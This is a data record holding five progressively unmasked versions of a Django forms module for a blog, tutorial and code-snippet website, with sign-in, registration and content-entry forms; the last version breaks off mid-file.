"step-1": "<mask token>\n\n\nclass TblBlogForm(forms.ModelForm):\n\n\n class Meta:\n model = TblBlog\n fields = ['blog_title', 'blog_description', 'blog_keyword',\n 'blog_content', 'blog_pics', 'blog_publish', 'blog_datetime',\n 'blog_summary', 'blog_like', 'blog_added_by']\n <mask token>\n\n\nclass TblBlogCommentsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblBlogComments\n fields = '__all__'\n\n\nclass TblLearnDataForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnData\n fields = ['learn_data', 'learn_data_keyword',\n 'learn_data_description', 'learn_data_publish',\n 'learn_data_datetime', 'learn_data_added_by', 'learn_topics',\n 'learn_data_like', 'learn_data_icon']\n\n def __init__(self, *args, **kwargs):\n super(TblLearnDataForm, self).__init__(*args, **kwargs)\n self.fields['learn_data_datetime'].widget = forms.HiddenInput()\n self.fields['learn_data_added_by'].widget = forms.HiddenInput()\n self.fields['learn_topics'].widget = forms.HiddenInput()\n self.fields['learn_data_like'].widget = forms.HiddenInput()\n self.fields['learn_data_icon'].widget = forms.HiddenInput()\n self.fields['learn_data'].widget.attrs['placeholder'] = 'Title/Topics'\n self.fields['learn_data_description'].widget.attrs['placeholder'\n ] = 'Brief Description'\n self.fields['learn_data_keyword'].widget.attrs['placeholder'\n ] = 'Keyword For Search'\n self.fields['learn_data_publish'].label = 'Publish'\n\n\nclass TblLearnDataCommentsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnDataComments\n fields = '__all__'\n\n\nclass TblBlogGvpForm(forms.ModelForm):\n\n\n class Meta:\n model = TblBlogGvp\n fields = '__all__'\n\n\nclass TblLearnDataGvpForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnDataGvp\n fields = '__all__'\n\n\nclass TblHomeForm(forms.ModelForm):\n\n\n class Meta:\n model = TblHome\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblHomeForm, self).__init__(*args, **kwargs)\n self.fields['home_datetime'].widget = forms.HiddenInput()\n self.fields['home_added_by'].widget = forms.HiddenInput()\n self.fields['home_pics'].widget.attrs['placeholder'] = 'Upload Image'\n self.fields['home_content'].widget.attrs['placeholder'] = 'Content'\n self.fields['home_content_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['home_publish'].label = 'Publish'\n\n\nclass TblAboutForm(forms.ModelForm):\n\n\n class Meta:\n model = TblAbout\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblAboutForm, self).__init__(*args, **kwargs)\n self.fields['about_datetime'].widget = forms.HiddenInput()\n self.fields['about_added_by'].widget = forms.HiddenInput()\n self.fields['about_pics'].widget.attrs['placeholder'] = 'Upload Image'\n self.fields['about_content'].widget.attrs['placeholder'] = 'Content'\n self.fields['about_content_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['about_publish'].label = 'Publish'\n\n\nclass TblLearnTopicsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnTopics\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblLearnTopicsForm, self).__init__(*args, **kwargs)\n self.fields['learn_topics_datetime'].widget = forms.HiddenInput()\n self.fields['learn_topics_icon'].widget.attrs['placeholder'] = 'Icon'\n self.fields['learn_topics_coverpage_img'].widget = forms.HiddenInput()\n self.fields['learn_topics'].widget.attrs['placeholder'] = 'Topics'\n self.fields['learn_topics_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['learn_topics_publish'].label = 'Publish'\n\n def clean_learn_topics_added_by(self):\n if not self.cleaned_data['learn_topics_added_by']:\n return User()\n return self.cleaned_data['learn_topics_added_by']\n\n\nclass TblSnippetTopicsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblSnippetTopics\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblSnippetTopicsForm, self).__init__(*args, **kwargs)\n self.fields['snippet_topics_datetime'].widget = forms.HiddenInput()\n self.fields['snippet_topics_added_by'].widget = forms.HiddenInput()\n self.fields['snippet_topics_icon'].widget = forms.HiddenInput()\n self.fields['snippet_topics_coverpage_img'].widget = forms.HiddenInput(\n )\n self.fields['snippet_topics_expire'].widget = forms.HiddenInput()\n self.fields['snippet_topics'].widget.attrs['placeholder'] = 'Topics'\n self.fields['snippet_topics_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['snippet_topics_publish'].label = 'Publish'\n\n def clean_snippet_topics_added_by(self):\n if not self.cleaned_data['snippet_topics_added_by']:\n return User()\n return self.cleaned_data['snippet_topics_added_by']\n\n\nclass TblQueriesForm(forms.ModelForm):\n\n\n class Meta:\n model = TblQueries\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblQueriesForm, self).__init__(*args, **kwargs)\n self.fields['datetime'].widget = forms.HiddenInput()\n self.fields['name'].widget.attrs['placeholder'] = 'Name'\n self.fields['email'].widget.attrs['placeholder'] = 'Email'\n self.fields['subject'].widget.attrs['placeholder'] = 'Subject'\n self.fields['message'].widget.attrs['placeholder'] = 'Message'\n",
"step-2": "<mask token>\n\n\nclass TblBlogForm(forms.ModelForm):\n\n\n class Meta:\n model = TblBlog\n fields = ['blog_title', 'blog_description', 'blog_keyword',\n 'blog_content', 'blog_pics', 'blog_publish', 'blog_datetime',\n 'blog_summary', 'blog_like', 'blog_added_by']\n\n def __init__(self, *args, **kwargs):\n super(TblBlogForm, self).__init__(*args, **kwargs)\n self.fields['blog_datetime'].widget = forms.HiddenInput()\n self.fields['blog_summary'].widget = forms.HiddenInput()\n self.fields['blog_like'].widget = forms.HiddenInput()\n self.fields['blog_added_by'].widget = forms.HiddenInput()\n self.fields['blog_title'].widget.attrs['placeholder'] = 'Title/Topics'\n self.fields['blog_description'].widget.attrs['placeholder'\n ] = 'Brief Description'\n self.fields['blog_content'].widget.attrs['placeholder'\n ] = 'Blog Content'\n self.fields['blog_keyword'].widget.attrs['placeholder'\n ] = 'Keyword For Search'\n self.fields['blog_pics'].widget.attrs['placeholder'] = 'Upload Pics'\n self.fields['blog_publish'].label = 'Publish'\n\n\nclass TblBlogCommentsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblBlogComments\n fields = '__all__'\n\n\nclass TblLearnDataForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnData\n fields = ['learn_data', 'learn_data_keyword',\n 'learn_data_description', 'learn_data_publish',\n 'learn_data_datetime', 'learn_data_added_by', 'learn_topics',\n 'learn_data_like', 'learn_data_icon']\n\n def __init__(self, *args, **kwargs):\n super(TblLearnDataForm, self).__init__(*args, **kwargs)\n self.fields['learn_data_datetime'].widget = forms.HiddenInput()\n self.fields['learn_data_added_by'].widget = forms.HiddenInput()\n self.fields['learn_topics'].widget = forms.HiddenInput()\n self.fields['learn_data_like'].widget = forms.HiddenInput()\n self.fields['learn_data_icon'].widget = forms.HiddenInput()\n self.fields['learn_data'].widget.attrs['placeholder'] = 'Title/Topics'\n self.fields['learn_data_description'].widget.attrs['placeholder'\n ] = 'Brief Description'\n self.fields['learn_data_keyword'].widget.attrs['placeholder'\n ] = 'Keyword For Search'\n self.fields['learn_data_publish'].label = 'Publish'\n\n\nclass TblLearnDataCommentsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnDataComments\n fields = '__all__'\n\n\nclass TblBlogGvpForm(forms.ModelForm):\n\n\n class Meta:\n model = TblBlogGvp\n fields = '__all__'\n\n\nclass TblLearnDataGvpForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnDataGvp\n fields = '__all__'\n\n\nclass TblHomeForm(forms.ModelForm):\n\n\n class Meta:\n model = TblHome\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblHomeForm, self).__init__(*args, **kwargs)\n self.fields['home_datetime'].widget = forms.HiddenInput()\n self.fields['home_added_by'].widget = forms.HiddenInput()\n self.fields['home_pics'].widget.attrs['placeholder'] = 'Upload Image'\n self.fields['home_content'].widget.attrs['placeholder'] = 'Content'\n self.fields['home_content_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['home_publish'].label = 'Publish'\n\n\nclass TblAboutForm(forms.ModelForm):\n\n\n class Meta:\n model = TblAbout\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblAboutForm, self).__init__(*args, **kwargs)\n self.fields['about_datetime'].widget = forms.HiddenInput()\n self.fields['about_added_by'].widget = forms.HiddenInput()\n self.fields['about_pics'].widget.attrs['placeholder'] = 'Upload Image'\n self.fields['about_content'].widget.attrs['placeholder'] = 'Content'\n self.fields['about_content_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['about_publish'].label = 'Publish'\n\n\nclass TblLearnTopicsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnTopics\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblLearnTopicsForm, self).__init__(*args, **kwargs)\n self.fields['learn_topics_datetime'].widget = forms.HiddenInput()\n self.fields['learn_topics_icon'].widget.attrs['placeholder'] = 'Icon'\n self.fields['learn_topics_coverpage_img'].widget = forms.HiddenInput()\n self.fields['learn_topics'].widget.attrs['placeholder'] = 'Topics'\n self.fields['learn_topics_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['learn_topics_publish'].label = 'Publish'\n\n def clean_learn_topics_added_by(self):\n if not self.cleaned_data['learn_topics_added_by']:\n return User()\n return self.cleaned_data['learn_topics_added_by']\n\n\nclass TblSnippetTopicsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblSnippetTopics\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblSnippetTopicsForm, self).__init__(*args, **kwargs)\n self.fields['snippet_topics_datetime'].widget = forms.HiddenInput()\n self.fields['snippet_topics_added_by'].widget = forms.HiddenInput()\n self.fields['snippet_topics_icon'].widget = forms.HiddenInput()\n self.fields['snippet_topics_coverpage_img'].widget = forms.HiddenInput(\n )\n self.fields['snippet_topics_expire'].widget = forms.HiddenInput()\n self.fields['snippet_topics'].widget.attrs['placeholder'] = 'Topics'\n self.fields['snippet_topics_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['snippet_topics_publish'].label = 'Publish'\n\n def clean_snippet_topics_added_by(self):\n if not self.cleaned_data['snippet_topics_added_by']:\n return User()\n return self.cleaned_data['snippet_topics_added_by']\n\n\nclass TblQueriesForm(forms.ModelForm):\n\n\n class Meta:\n model = TblQueries\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblQueriesForm, self).__init__(*args, **kwargs)\n self.fields['datetime'].widget = forms.HiddenInput()\n self.fields['name'].widget.attrs['placeholder'] = 'Name'\n self.fields['email'].widget.attrs['placeholder'] = 'Email'\n self.fields['subject'].widget.attrs['placeholder'] = 'Subject'\n self.fields['message'].widget.attrs['placeholder'] = 'Message'\n",
"step-3": "<mask token>\n\n\nclass TblSnippetDataForm(forms.ModelForm):\n\n\n class Meta:\n model = TblSnippetData\n fields = ['snippet_topics', 'snippet_data_subject',\n 'snippet_data_description', 'snippet_data_keyword',\n 'snippet_data_code', 'snippet_data_datetime',\n 'snippet_data_added_by', 'snippet_topics', 'snippet_data_publish']\n\n def clean_snippet_topics_added_by(self):\n if not self.cleaned_data['snippet_topics_added_by']:\n return User()\n return self.cleaned_data['snippet_topics_added_by']\n\n def __init__(self, *args, **kwargs):\n super(TblSnippetDataForm, self).__init__(*args, **kwargs)\n self.fields['snippet_data_datetime'].widget = forms.HiddenInput()\n self.fields['snippet_data_added_by'].widget = forms.HiddenInput()\n self.fields['snippet_topics'].widget = forms.HiddenInput()\n self.fields['snippet_data_subject'].widget.attrs['placeholder'\n ] = 'Title/Topics'\n self.fields['snippet_data_description'].widget.attrs['placeholder'\n ] = 'Brief Description'\n self.fields['snippet_data_keyword'].widget.attrs['placeholder'\n ] = 'Keyword For Search'\n self.fields['snippet_data_code'].widget.attrs['placeholder'\n ] = 'Snippet (Code)'\n self.fields['snippet_data_publish'].widget.attrs['placeholder'\n ] = 'Ready-To-Publish'\n self.fields['snippet_data_publish'].label = 'Publish'\n\n\nclass TblBlogForm(forms.ModelForm):\n\n\n class Meta:\n model = TblBlog\n fields = ['blog_title', 'blog_description', 'blog_keyword',\n 'blog_content', 'blog_pics', 'blog_publish', 'blog_datetime',\n 'blog_summary', 'blog_like', 'blog_added_by']\n\n def __init__(self, *args, **kwargs):\n super(TblBlogForm, self).__init__(*args, **kwargs)\n self.fields['blog_datetime'].widget = forms.HiddenInput()\n self.fields['blog_summary'].widget = forms.HiddenInput()\n self.fields['blog_like'].widget = forms.HiddenInput()\n self.fields['blog_added_by'].widget = forms.HiddenInput()\n self.fields['blog_title'].widget.attrs['placeholder'] = 'Title/Topics'\n self.fields['blog_description'].widget.attrs['placeholder'\n ] = 'Brief Description'\n self.fields['blog_content'].widget.attrs['placeholder'\n ] = 'Blog Content'\n self.fields['blog_keyword'].widget.attrs['placeholder'\n ] = 'Keyword For Search'\n self.fields['blog_pics'].widget.attrs['placeholder'] = 'Upload Pics'\n self.fields['blog_publish'].label = 'Publish'\n\n\nclass TblBlogCommentsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblBlogComments\n fields = '__all__'\n\n\nclass TblLearnDataForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnData\n fields = ['learn_data', 'learn_data_keyword',\n 'learn_data_description', 'learn_data_publish',\n 'learn_data_datetime', 'learn_data_added_by', 'learn_topics',\n 'learn_data_like', 'learn_data_icon']\n\n def __init__(self, *args, **kwargs):\n super(TblLearnDataForm, self).__init__(*args, **kwargs)\n self.fields['learn_data_datetime'].widget = forms.HiddenInput()\n self.fields['learn_data_added_by'].widget = forms.HiddenInput()\n self.fields['learn_topics'].widget = forms.HiddenInput()\n self.fields['learn_data_like'].widget = forms.HiddenInput()\n self.fields['learn_data_icon'].widget = forms.HiddenInput()\n self.fields['learn_data'].widget.attrs['placeholder'] = 'Title/Topics'\n self.fields['learn_data_description'].widget.attrs['placeholder'\n ] = 'Brief Description'\n self.fields['learn_data_keyword'].widget.attrs['placeholder'\n ] = 'Keyword For Search'\n self.fields['learn_data_publish'].label = 'Publish'\n\n\nclass TblLearnDataCommentsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnDataComments\n fields = '__all__'\n\n\nclass TblBlogGvpForm(forms.ModelForm):\n\n\n class Meta:\n model = TblBlogGvp\n fields = '__all__'\n\n\nclass TblLearnDataGvpForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnDataGvp\n fields = '__all__'\n\n\nclass TblHomeForm(forms.ModelForm):\n\n\n class Meta:\n model = TblHome\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblHomeForm, self).__init__(*args, **kwargs)\n self.fields['home_datetime'].widget = forms.HiddenInput()\n self.fields['home_added_by'].widget = forms.HiddenInput()\n self.fields['home_pics'].widget.attrs['placeholder'] = 'Upload Image'\n self.fields['home_content'].widget.attrs['placeholder'] = 'Content'\n self.fields['home_content_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['home_publish'].label = 'Publish'\n\n\nclass TblAboutForm(forms.ModelForm):\n\n\n class Meta:\n model = TblAbout\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblAboutForm, self).__init__(*args, **kwargs)\n self.fields['about_datetime'].widget = forms.HiddenInput()\n self.fields['about_added_by'].widget = forms.HiddenInput()\n self.fields['about_pics'].widget.attrs['placeholder'] = 'Upload Image'\n self.fields['about_content'].widget.attrs['placeholder'] = 'Content'\n self.fields['about_content_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['about_publish'].label = 'Publish'\n\n\nclass TblLearnTopicsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnTopics\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblLearnTopicsForm, self).__init__(*args, **kwargs)\n self.fields['learn_topics_datetime'].widget = forms.HiddenInput()\n self.fields['learn_topics_icon'].widget.attrs['placeholder'] = 'Icon'\n self.fields['learn_topics_coverpage_img'].widget = forms.HiddenInput()\n self.fields['learn_topics'].widget.attrs['placeholder'] = 'Topics'\n self.fields['learn_topics_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['learn_topics_publish'].label = 'Publish'\n\n def clean_learn_topics_added_by(self):\n if not self.cleaned_data['learn_topics_added_by']:\n return User()\n return self.cleaned_data['learn_topics_added_by']\n\n\nclass TblSnippetTopicsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblSnippetTopics\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblSnippetTopicsForm, self).__init__(*args, **kwargs)\n self.fields['snippet_topics_datetime'].widget = forms.HiddenInput()\n self.fields['snippet_topics_added_by'].widget = forms.HiddenInput()\n self.fields['snippet_topics_icon'].widget = forms.HiddenInput()\n self.fields['snippet_topics_coverpage_img'].widget = forms.HiddenInput(\n )\n self.fields['snippet_topics_expire'].widget = forms.HiddenInput()\n self.fields['snippet_topics'].widget.attrs['placeholder'] = 'Topics'\n self.fields['snippet_topics_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['snippet_topics_publish'].label = 'Publish'\n\n def clean_snippet_topics_added_by(self):\n if not self.cleaned_data['snippet_topics_added_by']:\n return User()\n return self.cleaned_data['snippet_topics_added_by']\n\n\nclass TblQueriesForm(forms.ModelForm):\n\n\n class Meta:\n model = TblQueries\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblQueriesForm, self).__init__(*args, **kwargs)\n self.fields['datetime'].widget = forms.HiddenInput()\n self.fields['name'].widget.attrs['placeholder'] = 'Name'\n self.fields['email'].widget.attrs['placeholder'] = 'Email'\n self.fields['subject'].widget.attrs['placeholder'] = 'Subject'\n self.fields['message'].widget.attrs['placeholder'] = 'Message'\n",
"step-4": "<mask token>\n\n\nclass SignupForm(UserCreationForm):\n <mask token>\n\n\n class Meta:\n model = User\n fields = 'username', 'email', 'password1', 'password2'\n <mask token>\n\n\nclass UserRegistrationForm(forms.Form):\n username = forms.CharField(required=True, min_length=6, label=\n 'Username', max_length=100, widget=forms.TextInput(attrs={\n 'placeholder': 'Username'}))\n email = forms.EmailField(required=True, label='Email', max_length=100,\n widget=forms.EmailInput(attrs={'placeholder':\n 'e.g. : email@gmail.com'}))\n firstname = forms.CharField(required=True, label='First Name',\n max_length=100, widget=forms.TextInput(attrs={'placeholder':\n 'First Name'}))\n lastname = forms.CharField(required=True, label='Last Name', max_length\n =100, widget=forms.TextInput(attrs={'placeholder': 'Last Name'}))\n password = forms.CharField(required=True, label='Password', max_length=\n 100, widget=forms.PasswordInput(attrs={'placeholder': 'Password'}))\n passwordagain = forms.CharField(required=True, label='Password (Again)',\n max_length=100, widget=forms.PasswordInput(attrs={'placeholder':\n 'Password (Again)'}))\n\n\nclass TblPublishForm(forms.ModelForm):\n\n\n class Meta:\n model = TblPublish\n fields = '__all__'\n\n\nclass TblSnippetDataForm(forms.ModelForm):\n\n\n class Meta:\n model = TblSnippetData\n fields = ['snippet_topics', 'snippet_data_subject',\n 'snippet_data_description', 'snippet_data_keyword',\n 'snippet_data_code', 'snippet_data_datetime',\n 'snippet_data_added_by', 'snippet_topics', 'snippet_data_publish']\n\n def clean_snippet_topics_added_by(self):\n if not self.cleaned_data['snippet_topics_added_by']:\n return User()\n return self.cleaned_data['snippet_topics_added_by']\n\n def __init__(self, *args, **kwargs):\n super(TblSnippetDataForm, self).__init__(*args, **kwargs)\n self.fields['snippet_data_datetime'].widget = forms.HiddenInput()\n self.fields['snippet_data_added_by'].widget = forms.HiddenInput()\n self.fields['snippet_topics'].widget = forms.HiddenInput()\n self.fields['snippet_data_subject'].widget.attrs['placeholder'\n ] = 'Title/Topics'\n self.fields['snippet_data_description'].widget.attrs['placeholder'\n ] = 'Brief Description'\n self.fields['snippet_data_keyword'].widget.attrs['placeholder'\n ] = 'Keyword For Search'\n self.fields['snippet_data_code'].widget.attrs['placeholder'\n ] = 'Snippet (Code)'\n self.fields['snippet_data_publish'].widget.attrs['placeholder'\n ] = 'Ready-To-Publish'\n self.fields['snippet_data_publish'].label = 'Publish'\n\n\nclass TblBlogForm(forms.ModelForm):\n\n\n class Meta:\n model = TblBlog\n fields = ['blog_title', 'blog_description', 'blog_keyword',\n 'blog_content', 'blog_pics', 'blog_publish', 'blog_datetime',\n 'blog_summary', 'blog_like', 'blog_added_by']\n\n def __init__(self, *args, **kwargs):\n super(TblBlogForm, self).__init__(*args, **kwargs)\n self.fields['blog_datetime'].widget = forms.HiddenInput()\n self.fields['blog_summary'].widget = forms.HiddenInput()\n self.fields['blog_like'].widget = forms.HiddenInput()\n self.fields['blog_added_by'].widget = forms.HiddenInput()\n self.fields['blog_title'].widget.attrs['placeholder'] = 'Title/Topics'\n self.fields['blog_description'].widget.attrs['placeholder'\n ] = 'Brief Description'\n self.fields['blog_content'].widget.attrs['placeholder'\n ] = 'Blog Content'\n self.fields['blog_keyword'].widget.attrs['placeholder'\n ] = 'Keyword For Search'\n self.fields['blog_pics'].widget.attrs['placeholder'] = 'Upload Pics'\n self.fields['blog_publish'].label = 'Publish'\n\n\nclass TblBlogCommentsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblBlogComments\n fields = '__all__'\n\n\nclass TblLearnDataForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnData\n fields = ['learn_data', 'learn_data_keyword',\n 'learn_data_description', 'learn_data_publish',\n 'learn_data_datetime', 'learn_data_added_by', 'learn_topics',\n 'learn_data_like', 'learn_data_icon']\n\n def __init__(self, *args, **kwargs):\n super(TblLearnDataForm, self).__init__(*args, **kwargs)\n self.fields['learn_data_datetime'].widget = forms.HiddenInput()\n self.fields['learn_data_added_by'].widget = forms.HiddenInput()\n self.fields['learn_topics'].widget = forms.HiddenInput()\n self.fields['learn_data_like'].widget = forms.HiddenInput()\n self.fields['learn_data_icon'].widget = forms.HiddenInput()\n self.fields['learn_data'].widget.attrs['placeholder'] = 'Title/Topics'\n self.fields['learn_data_description'].widget.attrs['placeholder'\n ] = 'Brief Description'\n self.fields['learn_data_keyword'].widget.attrs['placeholder'\n ] = 'Keyword For Search'\n self.fields['learn_data_publish'].label = 'Publish'\n\n\nclass TblLearnDataCommentsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnDataComments\n fields = '__all__'\n\n\nclass TblBlogGvpForm(forms.ModelForm):\n\n\n class Meta:\n model = TblBlogGvp\n fields = '__all__'\n\n\nclass TblLearnDataGvpForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnDataGvp\n fields = '__all__'\n\n\nclass TblHomeForm(forms.ModelForm):\n\n\n class Meta:\n model = TblHome\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblHomeForm, self).__init__(*args, **kwargs)\n self.fields['home_datetime'].widget = forms.HiddenInput()\n self.fields['home_added_by'].widget = forms.HiddenInput()\n self.fields['home_pics'].widget.attrs['placeholder'] = 'Upload Image'\n self.fields['home_content'].widget.attrs['placeholder'] = 'Content'\n self.fields['home_content_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['home_publish'].label = 'Publish'\n\n\nclass TblAboutForm(forms.ModelForm):\n\n\n class Meta:\n model = TblAbout\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblAboutForm, self).__init__(*args, **kwargs)\n self.fields['about_datetime'].widget = forms.HiddenInput()\n self.fields['about_added_by'].widget = forms.HiddenInput()\n self.fields['about_pics'].widget.attrs['placeholder'] = 'Upload Image'\n self.fields['about_content'].widget.attrs['placeholder'] = 'Content'\n self.fields['about_content_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['about_publish'].label = 'Publish'\n\n\nclass TblLearnTopicsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblLearnTopics\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblLearnTopicsForm, self).__init__(*args, **kwargs)\n self.fields['learn_topics_datetime'].widget = forms.HiddenInput()\n self.fields['learn_topics_icon'].widget.attrs['placeholder'] = 'Icon'\n self.fields['learn_topics_coverpage_img'].widget = forms.HiddenInput()\n self.fields['learn_topics'].widget.attrs['placeholder'] = 'Topics'\n self.fields['learn_topics_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['learn_topics_publish'].label = 'Publish'\n\n def clean_learn_topics_added_by(self):\n if not self.cleaned_data['learn_topics_added_by']:\n return User()\n return self.cleaned_data['learn_topics_added_by']\n\n\nclass TblSnippetTopicsForm(forms.ModelForm):\n\n\n class Meta:\n model = TblSnippetTopics\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblSnippetTopicsForm, self).__init__(*args, **kwargs)\n self.fields['snippet_topics_datetime'].widget = forms.HiddenInput()\n self.fields['snippet_topics_added_by'].widget = forms.HiddenInput()\n self.fields['snippet_topics_icon'].widget = forms.HiddenInput()\n self.fields['snippet_topics_coverpage_img'].widget = forms.HiddenInput(\n )\n self.fields['snippet_topics_expire'].widget = forms.HiddenInput()\n self.fields['snippet_topics'].widget.attrs['placeholder'] = 'Topics'\n self.fields['snippet_topics_description'].widget.attrs['placeholder'\n ] = 'Description'\n self.fields['snippet_topics_publish'].label = 'Publish'\n\n def clean_snippet_topics_added_by(self):\n if not self.cleaned_data['snippet_topics_added_by']:\n return User()\n return self.cleaned_data['snippet_topics_added_by']\n\n\nclass TblQueriesForm(forms.ModelForm):\n\n\n class Meta:\n model = TblQueries\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblQueriesForm, self).__init__(*args, **kwargs)\n self.fields['datetime'].widget = forms.HiddenInput()\n self.fields['name'].widget.attrs['placeholder'] = 'Name'\n self.fields['email'].widget.attrs['placeholder'] = 'Email'\n self.fields['subject'].widget.attrs['placeholder'] = 'Subject'\n self.fields['message'].widget.attrs['placeholder'] = 'Message'\n",
"step-5": "from django import forms\nfrom django.contrib.auth.models import User\nfrom .models import TblPublish , TblSnippetTopics, TblSnippetData, TblLearnTopics, TblLearnData, TblBlog, TblBlogComments,TblLearnDataComments, TblBlogGvp, TblLearnDataGvp,TblSnippetDataGvp, TblHome, TblAbout, TblQueries\nfrom django.contrib.auth.forms import UserCreationForm\n\nclass UsersigninForm(forms.Form):\n username = forms.CharField(required = True, label = 'Username', max_length = 100, widget=forms.TextInput(attrs={'placeholder': 'Username'}))\n password = forms.CharField(required = True, label = 'Password', max_length = 32, widget = forms.PasswordInput(attrs={'placeholder': 'Password'}))\n\nclass SignupForm(UserCreationForm):\n email = forms.EmailField(max_length=200, help_text='Required')\n class Meta:\n model = User\n fields = ('username', 'email', 'password1', 'password2')\n\n def __init__(self, *args, **kwargs):\n super(SignupForm, self).__init__(*args, **kwargs)\n self.fields['username'].widget.attrs['placeholder'] = \"Username\"\n self.fields['email'].widget.attrs['placeholder'] = \"email\"\n self.fields['password1'].widget.attrs['placeholder'] =\"password\"\n self.fields['password2'].widget.attrs['placeholder'] = \"password Again\"\n\nclass UserRegistrationForm(forms.Form):\n username = forms.CharField(required = True, min_length=6,label = 'Username', max_length = 100, widget=forms.TextInput(attrs={'placeholder': 'Username'}) )\n email = forms.EmailField(required = True, label = 'Email', max_length = 100, widget=forms.EmailInput(attrs={'placeholder': 'e.g. : email@gmail.com'}))\n firstname = forms.CharField(required = True, label = 'First Name', max_length = 100, widget=forms.TextInput(attrs={'placeholder': 'First Name'}))\n lastname = forms.CharField(required = True, label = 'Last Name', max_length = 100, widget=forms.TextInput(attrs={'placeholder': 'Last Name'}))\n password = forms.CharField(required = True, label = 'Password', max_length = 100, widget = forms.PasswordInput(attrs={'placeholder': 'Password'}))\n passwordagain = forms.CharField(required = True, label = 'Password (Again)', max_length = 100, widget = forms.PasswordInput(attrs={'placeholder': 'Password (Again)'}))\n\nclass TblPublishForm(forms.ModelForm):\n class Meta():\n model = TblPublish\n fields = '__all__'\n\n\nclass TblSnippetDataForm(forms.ModelForm):\n class Meta():\n model = TblSnippetData\n fields = ['snippet_topics','snippet_data_subject','snippet_data_description','snippet_data_keyword','snippet_data_code','snippet_data_datetime','snippet_data_added_by','snippet_topics','snippet_data_publish']\n def clean_snippet_topics_added_by(self):\n if not self.cleaned_data['snippet_topics_added_by']:\n return User()\n return self.cleaned_data['snippet_topics_added_by']\n\n def __init__(self, *args, **kwargs):\n super(TblSnippetDataForm, self).__init__(*args, **kwargs)\n self.fields['snippet_data_datetime'].widget = forms.HiddenInput()\n self.fields['snippet_data_added_by'].widget = forms.HiddenInput()\n self.fields['snippet_topics'].widget = forms.HiddenInput()\n self.fields['snippet_data_subject'].widget.attrs['placeholder'] = \"Title/Topics\"\n self.fields['snippet_data_description'].widget.attrs['placeholder'] = \"Brief Description\"\n self.fields['snippet_data_keyword'].widget.attrs['placeholder'] =\"Keyword For Search\"\n self.fields['snippet_data_code'].widget.attrs['placeholder'] = \"Snippet (Code)\"\n self.fields['snippet_data_publish'].widget.attrs['placeholder'] = \"Ready-To-Publish\"\n self.fields['snippet_data_publish'].label = \"Publish\"\n\nclass TblBlogForm(forms.ModelForm):\n class Meta():\n model = TblBlog\n fields = ['blog_title','blog_description','blog_keyword','blog_content','blog_pics','blog_publish','blog_datetime','blog_summary','blog_like','blog_added_by']\n\n def __init__(self, *args, **kwargs):\n super(TblBlogForm, self).__init__(*args, **kwargs)\n self.fields['blog_datetime'].widget = forms.HiddenInput()\n self.fields['blog_summary'].widget = forms.HiddenInput()\n self.fields['blog_like'].widget = forms.HiddenInput()\n self.fields['blog_added_by'].widget = forms.HiddenInput()\n self.fields['blog_title'].widget.attrs['placeholder'] = \"Title/Topics\"\n self.fields['blog_description'].widget.attrs['placeholder'] = \"Brief Description\"\n self.fields['blog_content'].widget.attrs['placeholder'] = \"Blog Content\"\n self.fields['blog_keyword'].widget.attrs['placeholder'] = \"Keyword For Search\"\n 